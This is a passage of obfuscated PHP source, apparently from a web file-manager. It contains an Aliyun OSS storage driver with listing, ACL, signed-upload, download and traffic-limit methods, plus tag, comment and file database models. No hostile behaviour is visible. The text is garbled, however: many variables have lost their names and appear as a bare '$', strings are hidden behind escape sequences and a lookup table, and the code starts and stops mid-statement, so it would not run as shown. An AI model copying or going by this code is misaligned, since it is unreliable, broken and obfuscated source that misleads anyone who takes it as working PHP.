$Ũ[97] => $this->getPathOuter($Ũ[8] . $ߊ), $Ũ[33] => $Ũ[88]); if ($ܾ) { return $贁; } $贁[$Ũ[241]] = $贁[$Ũ[98]] = 0; $贁[$Ũ[242]] = $贁[$Ũ[243]] = !0; if (empty($)) { $ߊ = rtrim($ߊ, $Ũ[8]) . $Ũ[8]; $茈㌋ = $this->objectMeta($ߊ); if (!$茈㌋) { return $贁; } $ = array($Ũ[241] => $茈㌋[$Ũ[584]][$Ũ[1483]], $Ũ[98] => strtotime($茈㌋[$Ũ[1480]])); } if (isset($[$Ũ[98]])) { $贁[$Ũ[98]] = $[$Ũ[98]]; } if (isset($[$Ũ[241]])) { $贁[$Ũ[241]] = $[$Ũ[241]]; } return $贁; } public function listPath($ͧ, $ڂ = false) { $֏ =& $_SERVER[՟]; $ = $this->fileList($ͧ, $֏[8], !0); foreach ($[$֏[95]] as $ => $) { $[$֏[95]][$] = $this->folderInfo($, $ڂ, $); } foreach ($[$֏[96]] as $ => $) { $[$֏[96]][$] = $this->fileInfo($[$֏[32]], $ڂ, $); } return $; } protected function infoChildren($ɲҞ, &$ᝒ) { $֊ =& $_SERVER[՟]; $ɛ⥻ = $this->fileList($ɲҞ, $֊[12], !0); $ᝒ[$֊[91]] += count($ɛ⥻[$֊[95]]); $ᝒ[$֊[90]] += count($ɛ⥻[$֊[96]]); foreach ($ɛ⥻[$֊[96]] as $) { if (!$ || !$[$֊[89]]) { continue; } $ᝒ[$֊[89]] += $[$֊[89]]; } } public function has($, $ڈ = false, $˵ = true) { $ї =& $_SERVER[՟]; $ = trim($, $ї[8]); $ę = empty($) && $ !== $ї[238] ? $ї[12] : $ . $ї[8]; $ۘ = $ї[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $Ҟ = array($ї[1474] => $ї[8], $ї[1475] => $ę, $ї[1476] => $, $ї[1477] => $ۘ); try { $ = $this->client->listObjects($this->bucket, $Ҟ); } catch (OSS\Core\OssException $ʙ) { $this->writeLog(__FUNCTION__ . $ї[224] . $ʙ->getMessage()); break; } $ۘ = $->getNextMarker(); $Ь = $->getObjectList(); $ض = $->getPrefixList(); if ($ڈ) { if (count($Ь) > 1 || count($Ь) == 1 && $Ь[0]->getKey() != $ę) { $ += count($Ь) - 1; } if (!empty($ض)) { $ += count($ض); } if ($ۘ === $ї[12]) { break; } continue; } if ($˵) { if (!empty($Ь)) { if (count($Ь) > 1 || $Ь[0]->getKey() != $ę) { return !0; } } } else { if (!empty($ض)) { return !0; } } if ($ۘ === $ї[12]) { break; } } if ($ڈ) { return array($ї[249] => $, $ї[250] => $); } return !1; } public function listAll($) { $妅ݴ =& $_SERVER[՟]; $Ϣ = $this->fileList($, $妅ݴ[12], !0); $ = array_to_keyvalue($Ϣ[$妅ݴ[96]], $妅ݴ[32]); foreach ($Ϣ[$妅ݴ[95]] as $ǎ) { if (is_string($ǎ)) { $[$ǎ] = array($妅ݴ[89] => 0); } } return $this->listAllFiles($, $); } public function canRead($п) { $̪ =& $_SERVER[՟]; $ = $this->pathAcl($п); return $ == $̪[1484] || $ == $̪[628] ? !0 : !1; } public function canWrite($ż) { $Դ = $this->pathAcl($ż); return $Դ == $_SERVER[՟][628] ? !0 : !1; } public function pathAcl($) { $̓ =& $_SERVER[՟]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $붤) { $this->writeLog(__FUNCTION__ . $̓[224] . $붤->getMessage()); return !1; } $ֺ = $ == $̓[37] ? $this->bucketAcl : $; if ($ֺ == $̓[1485]) { return $̓[1484]; } if ($ֺ == $̓[1486]) { return $̓[628]; } return $ֺ; } private function chmodPath($, $ě = '') { $ۀ =& $_SERVER[՟]; $ = empty($ě) ? $ۀ[1486] : $ě; $ܥ = array($ۀ[37], $ۀ[239], $ۀ[1485], $ۀ[1486]); if (!in_array($, $ܥ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ۀ[224] . $->getMessage()); return !1; } return !0; } public function getContent($쀎ĉ) { return $this->fileSubstr($쀎ĉ, -1); } public function setContent($, $ƴ = '') { $ߏ =& $_SERVER[՟]; try { $֓ = $this->trafficLimit($ߏ[1487]); $Լ = $this->client->putObject($this->bucket, $this->pathEncode($), $ƴ, $֓); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ߏ[224] . $->getMessage()); return !1; } $ = array($ߏ[1481] => trim($Լ[$ߏ[1478]], $ߏ[131]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($Լ[$ߏ[1488]][$ߏ[301]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ԫØ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $ԫØ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $->getMessage()); return !1; } return !0; } public function upload($, $趇, $ = false, $͋ = REPEAT_REPLACE) { $˭ =& $_SERVER[՟]; $ = trim($, $˭[8]); $˦ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($˭[1481] => @md5_file($趇)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $˦ = $this->trafficLimit($˭[1487], $˦); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $趇, $˦); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $˭[224] . $->getMessage()); return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[՟]; $Կϯ = explode($[220], parent::getHost()); return $Կϯ[0] . $[220] . $this->bucket . $[10] . $Կϯ[1]; } public function uploadFormData($, $ł = 3600) { $ײ =& $_SERVER[՟]; if (!($ = $this->getHost())) { return !1; } $ = $ł; $⊮ = date($ײ[1489], time() + $); $ = new DateTime($⊮); $ԉ픂 = $->format(DateTime::ISO8601); $ = strpos($ԉ픂, $ײ[381]); $ԉ픂 = substr($ԉ픂, 0, $) . $ײ[1490]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($ײ[284] => $ԉ픂, $ײ[287] => array(array($ײ[1491], 0, $), array($ײ[290], $ײ[291], $))); $ = base64_encode(json_encode($)); $憨 = base64_encode(hash_hmac($ײ[272], $, $this->secret, !0)); $ = array($ײ[302] => $, $ײ[1492] => $this->accessKey, $ײ[294] => $ײ[283], $ײ[1493] => $憨, $ײ[218] => $); $ = $this->trafficLimit($ײ[1487], $); return $; } public function multiUploadFormData($Ҹ, $ = 3600) { $⎙ =& $_SERVER[՟]; if (!($ = $this->getHost())) { return !1; } $٥ = $this->trafficLimit($⎙[1487]); $֩ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($Ҹ), $٥); return array($⎙[264] => $֩, $⎙[218] => $ . $⎙[8] . $this->pathEncode($Ҹ), $⎙[265] => gmdate($⎙[1494]), $⎙[107] => $Ҹ); } public function multiUploadAuthData($, $ز = array()) { $ɀ =& $_SERVER[՟]; $ = isset($ز[$ɀ[265]]) ? $ز[$ɀ[265]] : gmdate($ɀ[1494]); $݁ = isset($ز[$ɀ[179]]) ? $ز[$ɀ[179]] : $ɀ[12]; $ = $; if (isset($ز[$ɀ[107]])) { $ = $ز[$ɀ[107]]; unset($ز[$ɀ[107]]); } if (isset($ز[$ɀ[266]])) { $ز[$ɀ[265]] = $; return $this->listUploadParts($, $ز); } $ԥ߇ = array($ɀ[267], $ɀ[12], $ɀ[133], $, "\170\x2d\157\x73\163\55\144\141\164\x65\x3a{$}", $ɀ[8] . $this->bucket . $ɀ[8] . $ . $݁); if (strpos($݁, $ɀ[268]) === 0) { $ԥ߇[0] = $ɀ[269]; if ($ = $this->trafficLimit($ɀ[1487])) { $ = $ɀ[1495]; array_splice($ԥ߇, 5, 0, $ . $ɀ[4] . $[$]); } } if (isset($ز[$ɀ[270]]) && $ز[$ɀ[270]] == $ɀ[271]) { $ԥ߇[0] = $ɀ[271]; } if (!empty($ز[$ɀ[1496]])) { $ = array_merge(array($ԥ߇[4]), $ز[$ɀ[1496]]); sort($); $ԥ߇[4] = implode($ɀ[59], $); } $ط = implode($ɀ[59], $ԥ߇); $ = base64_encode(hash_hmac($ɀ[272], $ط, $this->secret, !0)); $ = $ɀ[1464] . $this->accessKey . $ɀ[4] . $; if (strpos($݁, $ɀ[268]) === 0) { $ = array($ɀ[274] => $, $ɀ[265] => $); if ($) { $ = array_merge($, $); } } return $; } public function listUploadParts($џ, $Ńռ) { $ =& $_SERVER[՟]; $ޝӯ = parse_url_query($Ńռ[$[179]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($џ), $ޝӯ[$[264]]); $ѽ = $->getListPart(); $ = array(); foreach ($ѽ as $̻) { $[] = array($[317] => $̻->getPartNumber(), $[318] => trim($̻->getETag(), $[131])); } unset($Ńռ[$[266]], $Ńռ[$[270]]); $ = $this->multiUploadAuthData($џ, $Ńռ); if (empty($)) { return !1; } return array($[274] => $, $[265] => $Ńռ[$[265]], $[276] => $); } public function download($١Dž, $؞) { $ˤ =& $_SERVER[՟]; if ($this->isFolder($١Dž)) { return !1; } try { $З = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $؞); $З = $this->trafficLimit($ˤ[122], $З); $this->client->getObject($this->bucket, $this->pathEncode($١Dž), $З); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ˤ[224] . $->getMessage()); return !1; } return $؞; } public function fileSubstr($, $р = 0, $ = false) { if ($р === -1) { $ = array(); } else { if ($ === !1) { $ڞ = $this->size($); } else { $ڞ = $р + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$р}\x2d{$ڞ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][224] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($ٺ, $ = array()) { $դކ =& $_SERVER[՟]; if ($ٺ == $դކ[1487] && $this->isUploadServer() || $ٺ == $դކ[122] && $this->isFileOutServer()) { return $; } $˺ = floatval($GLOBALS[$դކ[6]][$դކ[102]][$դކ[120]][$ٺ]) * 1024 * 1024 * 8; if (!$˺) { return $; } $˺ = $˺ < 819200 ? 819200 : ($˺ > 838860800 ? 838860800 : $˺); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($˺); return $; } public function link($헥, $ӷ̑ = array()) { $ =& $_SERVER[՟]; if (!$this->exist($헥) || $this->isFolder($헥)) { return !1; } try { $ӷ̑ = $this->trafficLimit($[122], $ӷ̑); $ = $this->client->signUrl($this->bucket, $this->pathEncode($헥), 3600 * 12, $[271], $ӷ̑); return $this->getCdnLink($); } catch (OSS\Core\OssException $ݚ) { $this->writeLog(__FUNCTION__ . $[224] . $ݚ->getMessage()); return !1; } } public function fileOut($, $țߪ = false, $ = false, $ = '') { $ՕҔ =& $_SERVER[՟]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $țߪ, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $ՕҔ[258]) { return parent::fileOut($, $țߪ, $, $); } $țߪ = $țߪ ? $ՕҔ[1497] : $ՕҔ[1498]; $Ҕ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ՕҔ[1499] . rawurlencode("{$țߪ}\73\146\151\x6c\x65\x6e\141\x6d\145\x3d{$}")); $Ҕ[OSS\OssClient::OSS_SUB_RESOURCE] .= $ՕҔ[1500] . rawurlencode($); $Ԧ = $this->link($, $Ҕ); $this->fileOutLink($Ԧ); } public function fileOutServer($턪, $Ɩ = false, $ = false, $ޅ = '') { parent::fileOut($턪, $Ɩ, $, $ޅ); } public function fileOutImage($؈, $ = 250) { if ($this->size($؈) > 1024 * 1024 * 20) { return $this->fileOutImageServer($؈, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[՟][1461] . $); $֖ = $this->link($؈, $); $this->fileOutLink($֖); } public function fileOutImageServer($, $ƅ = 250) { parent::fileOutImage($, $ƅ); } public function fileOutLink($І) { $倕 =& $_SERVER[՟]; if (!$this->isCdnHost() && substr($І, 0, 7) == $倕[322]) { $І = $倕[323] . substr($І, 7); } header($倕[185] . $І); die; } public function hashMd5($ߨ, $ = '') { $ь =& $_SERVER[՟]; $´В = $this->_objectMeta($ߨ); if (!$´В) { return $ь[12]; } if (!isset($´В[$ь[1481]]) && !empty($)) { $ܦ = $this->updateObjMeta($ߨ, array($ь[1481] => $)); $´В[$ь[1481]] = $ܦ ? $ : $ь[12]; } return isset($´В[$ь[1481]]) ? strtolower($´В[$ь[1481]]) : $ь[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[՟][89]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($̭) { return !$this->isFolder($̭) && $this->objectMeta($̭); } public function isFolder($) { return $this->cacheMethod($_SERVER[՟][189], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[՟][191], $); } protected function _objectMeta($Ϙ) { $ã =& $_SERVER[՟]; try { $Ư = $this->client->getObjectMeta($this->bucket, $this->pathEncode($Ϙ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ã[224] . $->getMessage()); $Ư = !1; } if ($Ư) { $Ư[$ã[89]] = intval($Ư[$ã[1479]]); } return $Ư; } protected function _isFolder($) { $Ѓ =& $_SERVER[՟]; if ($ == $Ѓ[12] || $ == $Ѓ[8]) { return !0; } $Π = array($Ѓ[1474] => $Ѓ[8], $Ѓ[1475] => rtrim($, $Ѓ[8]) . $Ѓ[8], $Ѓ[1476] => 1, $Ѓ[1477] => $Ѓ[12]); $ = $this->client->listObjects($this->bucket, $Π); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ܧ = '', $ռ = false) { $ =& $_SERVER[՟]; $ڍ = in_array(ACTION, array($[222], $[223])); if (!$ڍ && !GLOBAL_DEBUG) { return; } $ = 0; if (stripos($ܧ, $[1501]) !== !1) { $ = 1; $ = explode($[1502], $ܧ); $ܧ = !empty($[1]) ? $[1] : $ܧ; } else { if (stripos($ܧ, $[1503])) { $ = 2; $ = explode($[1503], $ܧ); $ = explode($[4], $[0]); $ܧ = !empty($[1]) ? $[1] : $ܧ; } } if ($ڍ && I18n::getType() == $[1504]) { if ($ == 1) { $ܧ = str_replace($[1505], $[1506], $ܧ); } else { if ($ == 2) { $ = explode($[224], $[0]); $ճƤ = isset($[1]) ? $[1] : $[12]; $؋ = array($[1507] => $[1508], $[1509] => $[1510], $[1511] => $[1512], $[1513] => $[1514], $[1515] => $[1516], $[1517] => $[1518], $[1519] => $[1520], $[1521] => $[1522], $[1523] => $[1524], $[1525] => $[1526]); if (isset($؋[$ճƤ])) { $ܧ = $؋[$ճƤ]; } } } if (stripos($ܧ, $[1527])) { $ܧ = $[1528]; } } if (!trim($ܧ)) { return; } parent::writeLog(trim($ܧ), $ռ); } } goto dБڿ; C: class UserTagModel extends ModelBaseLight { public $optionType = "\125\163\145\x72\x2e\x74\141\x67\x4c\151\163\x74"; public $modelType = "\x55\x73\x65\162\x4f\160\x74\151\157\x6e"; public $field = array("\x6e\141\155\x65", "\x73\x74\x79\154\145", "\163\157\162\x74"); public function listData($׳ = false, $ = "\163\157\162\x74", $ = false) { return parent::listData($׳, $, $); } public function remove($) { return parent::remove($); } public function add($ఽ, $ = "\x6c\141\142\145\x6c\55\x67\x72\145\x79\55\156\157\x72\x6d\141\154") { $Ç =& $_SERVER[՟]; if ($this->findByName($ఽ)) { return !1; } $ = array($Ç[503] => $ఽ, $Ç[567] => $, $Ç[1976] => $this->getSort($Ç[344]) + 1); return parent::insert($); } public function update($, $ӛ) { $ =& $_SERVER[՟]; $痝џ = $this->listData($); $
= $this->findByName($ӛ[$[32]]); if (!$痝џ || $
&& $
[$[484]] != $痝џ[$[484]]) { return !1; } return parent::update($, $ӛ); } public function moveTop($) { $ =& $_SERVER[՟]; $ۻ = parent::listData(); $ = $this->getSort($[343]); foreach ($ۻ as &$) { if ($[$[484]] == $) { $[$[1996]] = $; continue; } $[$[1996]] += 1; } unset($); return parent::resetData($ۻ); } public function moveBottom($) { $ =& $_SERVER[՟]; $ = $this->getSort($[344]) + 1; return parent::update($, array($[1996] => $)); } public function resetSort($י) { $ĝ =& $_SERVER[՟]; $ = array(); $י = is_array($י) ? $י : array(); for ($ = 0; $ < count($י); $++) { $[$י[$] . $ĝ[12]] = $ + 1; } $çڕ = parent::listData(); foreach ($çڕ as &$) { $챧 = $[$[$ĝ[484]]]; $[$ĝ[1996]] = $챧 ? $챧 : $[$ĝ[1996]]; } unset($); return parent::resetData($çڕ); } private function getSort($ʁ) { $Ƚ =& $_SERVER[՟]; $ȅ = parent::listData(); $ = array_to_keyvalue($ȅ, $Ƚ[12], $Ƚ[1996]); if (!$) { $ = array(0); } $Խ = $ʁ == $Ƚ[344] ? max($) : min($); return intval($Խ); } } goto e˭; A: class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\x6d\x65\156\164"; protected $tableMeta = array("\164\x61\x62\x6c\145\116\141\x6d\x65" => "\143\157\155\x6d\x65\x6e\164\x5f\x6d\x65\164\x61", "\x6d\145\164\x61\106\151\x65\154\144" => "\143\x6f\155\155\x65\156\164\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $т݄ =& $_SERVER[՟]; if ($[$т݄[2001]]) { $ڈ = $this->where(array($т݄[2002] => $[$т݄[2001]]))->find(); if (!$ڈ || $ڈ[$т݄[200]] != $[$т݄[200]] || $ڈ[$т݄[578]] != $[$т݄[578]]) { return !1; } $this->where(array($т݄[2002] => $[$т݄[2001]]))->setAdd($т݄[2003], 1); } $[$т݄[2004]] = 0; $[$т݄[2003]] = 0; $[$т݄[834]] = 1; return $this->add($); } public function commentCount($, $ȓ, $ʈ = false) { $Ҳ =& $_SERVER[՟]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ꄅ = array($Ҳ[578], $Ҳ[2005] => $Ҳ[574]); $ڬ撶 = array($Ҳ[578] => array($Ҳ[7], $), $Ҳ[200] => $ȓ); if ($ʈ) { $ڬ撶[$Ҳ[1773]] = $ʈ; } $껆 = $this->field($ꄅ)->where($ڬ撶)->group($Ҳ[578])->select(); return array_to_keyvalue($껆, $Ҳ[578], $Ҳ[574]); } public function starTarget($ܬ, $) { $Ώ =& $_SERVER[՟]; $ = $ܬ + self::TYPE_STAR_OFFSET; $ = array($Ώ[1773] => USER_ID, $Ώ[200] => $, $Ώ[578] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($Ώ[484] => $[$Ώ[484]]))->delete(); } $ = array($Ώ[2001] => 0, $Ώ[1773] => USER_ID, $Ώ[834] => 1, $Ώ[181] => $Ώ[12], $Ώ[200] => $, $Ώ[578] => $, $Ώ[2004] => 0, $Ώ[2003] => 0); return $this->add($); } public function starTargetCount($, $ٖ) { $ =& $_SERVER[՟]; $ = $ٖ + self::TYPE_STAR_OFFSET; $ݷߚ = $this->commentCount($, $); $ = $this->commentCount($, $, USER_ID); return array($[2006] => $ݷߚ, $[2007] => $); } public function starTargetUserList($, $) { $ =& $_SERVER[՟]; $Ť = $ + self::TYPE_STAR_OFFSET; $ = array($[578] => $, $[200] => $Ť); $܆ = $this->where($)->count(); $ = array($[341] => $܆, $[2008] => array()); if (!$܆) { return $; } $ = $this->field($[1773])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1773]); $[$[2008]] = Model($[586])->userListInfo($); return $; } public function prasiseUserList($ߔ) { $Շ =& $_SERVER[՟]; $ˬ = array($Շ[2009] => $ߔ); $ۚ = $this->where($ˬ)->find(); $ě = _get($ۚ, $Շ[2004], 0); $Ҵ = array($Շ[341] => $ě, $Շ[2008] => array()); if (!$ě) { return $Ҵ; } $÷ǯ = Model($Շ[2010])->field($Շ[1773])->where($ˬ)->limit(500)->select(); $÷ǯ = array_to_keyvalue($÷ǯ, $Շ[12], $Շ[1773]); $Ҵ[$Շ[2008]] = Model($Շ[586])->userListInfo($÷ǯ); return $Ҵ; } public function remove($nj) { $ȥ =& $_SERVER[՟]; $̤я = array($ȥ[2002] => $nj); $ = $this->where($̤я)->find(); if ($[$ȥ[2001]]) { $this->where(array($ȥ[2002] => $[$ȥ[2001]]))->setAdd($ȥ[2003], -1); } return $this->where($̤я)->delete(); } public function edit($, $ױ) { $ý =& $_SERVER[՟]; $ߴȉ = array($ý[2002] => $); return $this->where($ߴȉ)->save(array($ý[2011] => $ױ)); } public function prasise($Ĕϵ) { $ =& $_SERVER[՟]; $䮆 = Model($[2012]); $𧅟آ = array($[2002] => $Ĕϵ, $[1764] => USER_ID); $ŝ = $䮆->where($𧅟آ)->find(); if (!$ŝ) { $䮆->add($𧅟آ); $ă = $this->where(array($[2002] => $Ĕϵ))->setAdd($[2004], 1); } else { $䮆->where($𧅟آ)->delete(); $ă = $this->where(array($[2002] => $Ĕϵ))->setAdd($[2004], -1); } return $ă; } public function targetInfo($, $ǵ݅) { $ä =& $_SERVER[՟]; $ = array($ä[657] => $, $ä[658] => $ǵ݅); $ũ = $this->where($)->count(); $Ү = "\122\111\x47\110\124\40\x4a\x4f\111\116\40{$this->tablePrefix}\143\x6f\155\155\x65\x6e\x74\137\x70\x72\141\x69\x73\x65\40\163\x74\141\162\x20\x6f\x6e\x20\x63\157\x6d\155\x65\156\164\56\x63\157\155\x6d\x65\x6e\x74\111\104\40\75\x20\x73\164\141\x72\x2e\x63\157\x6d\x6d\x65\x6e\164\x49\x44"; $͕ = $this->alias($ä[439])->where($)->join($Ү, $ä[2013])->count(); $ݸ = array($ä[2014] => $ũ, $ä[2015] => $͕); return $ݸ; } public function listData($ï) { $ =& $_SERVER[՟]; if (isset($ï[$[2016]])) { if ($ï[$[2016]]) { $ï[$[2009]] = array($[1095], intval($ï[$[2016]])); } unset($ï[$[2016]]); } if (isset($ï[$[2017]])) { if ($ï[$[2017]]) { $ï[$[2009]] = array($[1092], intval($ï[$[2017]])); } unset($ï[$[2017]]); } return $this->_listData($ï); } private function _listData($) { $ӈխ =& $_SERVER[՟]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$ӈխ[454]]); $this->_listAppendUser($[$ӈխ[454]]); $this->_listAppendMeta($[$ӈխ[454]]); return $; } private function _makeOrder() { $ =& $_SERVER[՟]; $Թ = array($[2004], $[2003], $[241]); $ǧ = Input::get($[539], $[7], $[506], $Թ); $ = Input::get($[540], $[7], $[1766], array($[2018], $[535])); $ = $ǧ . $[53] . $; return $this->order($); } private function _listAppendParent(&$ǿ) { $ޫ =& $_SERVER[՟]; $˯ = array_unique(array_to_keyvalue($ǿ, $ޫ[12], $ޫ[2001])); $˯ = array_remove_value($˯, $ޫ[238]); if (!$˯) { return; } $ = $this->where(array($ޫ[2002] => array($ޫ[7], $˯)))->select(); $ = array_to_keyvalue($, $ޫ[2009]); foreach ($ǿ as &$ŝ) { if (isset($[$ŝ[$ޫ[2001]]])) { $ŝ[$ޫ[2019]] = $[$ŝ[$ޫ[2001]]]; } } unset($ŝ); } private function _listAppendUser(&$ˇҠ) { $ =& $_SERVER[՟]; $ = array_unique(array_to_keyvalue($ˇҠ, $[12], $[1773])); $ = array_remove_value($, $[238]); if (count($) == 0) { return; } foreach ($ˇҠ as $΅) { if (isset($΅[$[2019]])) { $[] = $΅[$[2019]][$[1773]]; } } $߅˜ = Model($[607])->userListInfo($); foreach ($ˇҠ as &$΅) { $΅[$[671]] = $߅˜[$΅[$[1773]]]; if (isset($΅[$[2019]])) { $΅[$[2019]][$[671]] = $߅˜[$΅[$[2019]][$[1773]]]; } } unset($΅); } private function _listAppendMeta(&$Խ) { $ =& $_SERVER[՟]; $΄ = array_unique(array_to_keyvalue($Խ, $[12], $[2009])); $΄ = array_remove_value($΄, $[238]); if (!$΄) { return; } foreach ($Խ as $) { if (isset($[$[2019]])) { $΄[] = $[$[2019]][$[2009]]; } } $ͬع = $this->metaList($΄); if (!$ͬع) { return !1; } foreach ($Խ as &$) { $[$[548]] = $ͬع[$[$[2009]]]; if (isset($[$[2019]])) { $[$[2019]][$[548]] = $ͬع[$[$[2019]][$[2009]]]; } } unset($); } private function metaList($֊) { $䦚雲 =& $_SERVER[՟]; if (!$֊) { return array(); } $ʁ = array($䦚雲[2009] => array($䦚雲[7], $֊)); $Ͻ = Model($䦚雲[2020])->where($ʁ)->select(); $Ͻ = array_to_keyvalue_group($Ͻ, $䦚雲[2009]); foreach ($Ͻ as $ʐ => $υ) { $Ɲ = array(); foreach ($υ as $㈩) { $Ɲ[$㈩[$䦚雲[107]]] = $㈩[$䦚雲[459]]; } $Ͻ[$ʐ] = $Ɲ; } return $Ͻ ? $Ͻ : array(); } public function removeTarget($, $ƪ) { $ =& $_SERVER[՟]; if (!$ƪ) { return !0; } $ƪ = is_array($ƪ) ? $ƪ : array($ƪ); $ = array($[200] => $, $[578] => array($[7], $ƪ)); $ϡ = $this->field($[2009])->where($)->select(); $ = array_to_keyvalue($ϡ, $[12], $[2009]); if (!$) { return !0; } $ = array($[2009] => array($[7], $)); $this->where($)->delete(); Model($[2012])->where($)->delete(); Model($[2021])->where($)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\x5f\146\151\154\x65\137\x63\x6f\156\164\145\x6e\x74\163"; protected $dataAuto = array(array("\143\x72\145\x61\164\145\124\x69\155\145", "\164\x69\x6d\145", "\x69\x6e\163\x65\x72\x74", "\146\165\x6e\x63\x74\151\157\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\146\151\x6c\145"; protected $tableMeta = array("\x74\141\x62\154\145\116\x61\155\x65" => "\x69\157\137\x66\x69\x6c\145\x5f\x6d\145\164\141", "\155\145\x74\x61\106\151\145\154\x64" => "\146\151\154\x65\x49\104"); public function fileInfo($╪) { $ =& $_SERVER[՟]; static $ = array(); if (!isset($[$╪])) { $ = $[2022]; $ = Model($[553])->field($)->where(array($[551] => $╪))->find(); $[$╪] = $; } return $[$╪]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[՟]; $Œ = TEMP_PATH . $[2023]; if (!is_dir($Œ)) { mk_dir($Œ); } $ = $Œ . $[2024] . rand_string(16); file_put_contents($, $); $ǣ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $ǣ; } public function createFileName($Çˊ, $ = false, $Ύ = false) { $ݩ =& $_SERVER[՟]; $ = IO::init($ݩ[8]); $µ = $this->makeFilePath($Çˊ, $, $, $Ύ); $֠ = $->pathFather($µ); static $è = false; $˭ح = $ݩ[2025] . md5($֠); if (!$è && !Cache::get($˭ح)) { $è = !0; $ϣ = IO::mkdir($֠); if (!IO::exist($ϣ . $ݩ[881])) { IO::mkfile($ϣ . $ݩ[881]); } Cache::set($˭ح, 1, 3600 * 2); } return $µ; } public function makeFilePath($ͺٵ, $, $ = false, $ޯ = false) { $ =& $_SERVER[՟]; $ʲ = Model($[854])->get($[2026]); $Ϩ栒 = KodIO::defaultIO() . date($[2027]); $ղ = $Ϩ栒 . rand_string(5) . short_id(100); $ͺٵ = str_replace($[8], $[11], KodIO::clear($ͺٵ)); $ = $->ext($ͺٵ); if (!$ͺٵ) { $ʲ = $[860]; } switch ($ʲ) { case $[2028]: if ($) { $ղ = $ղ . $[10] . $; } if ($ == $[1964]) { $ղ .= $[1294]; } break; case $[2029]: $ = Model($[854])->get($[855]); $Ɇ = substr(md5($[856] . $ . date($[833])), 0, 8); $ = KodIO::defaultDriver(); $Ϩ栒 = $[1325] . $[$[484]] . $[493] . date($[2030]) . $Ɇ . $[8]; if ($ == $[1964]) { $ͺٵ .= $[1294]; } $ = $[2031] . $Ϩ栒 . $ͺٵ; CacheLock::lock($); $ղ = $Ϩ栒 . $ͺٵ; if (IO::exist($Ϩ栒 . $ͺٵ)) { $란 = substr($ͺٵ, 0, strlen($ͺٵ) - strlen($)); $ᱳ̄ = $ޯ ? substr($ޯ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ղ = $Ϩ栒 . $란 . $ᱳ̄; if ($) { $ղ = $ղ . $[10] . $; } } if (IO::isOsDriver($ղ) && !IO::isUploadServer($ղ)) { if (IO::exist($ղ)) { return $ղ; } $십 = IO::setContent($ղ, $[12]); if (!$십) { show_json($[2032], !1); } } CacheLock::unlock($); break; case $[860]: break; default: break; } return $ղ; } public function addFileByRemote($覍, $, $ʁ = array()) { $ =& $_SERVER[՟]; if (!IO::exist($覍)) { return !1; } $ = $ʁ[$[556]] ? $ʁ[$[556]] : $[12]; $ = IO::hashMd5($覍, $); $ѐ = KodIO::defaultDriver(); $㷉 = array($[626] => IO::size($覍), $[2033] => 1, $[503] => $, $[892] => $ѐ[$[484]], $[504] => $覍, $[2034] => $ʁ[$[681]] ? $ʁ[$[681]] : IO::hashSimple($覍), $[2035] => $ ? $ : $); if ($ = $this->addFileCheckExist($㷉[$[681]], $㷉[$[556]], $㷉[$[89]])) { return $; } return $this->addFileData($㷉); } private function 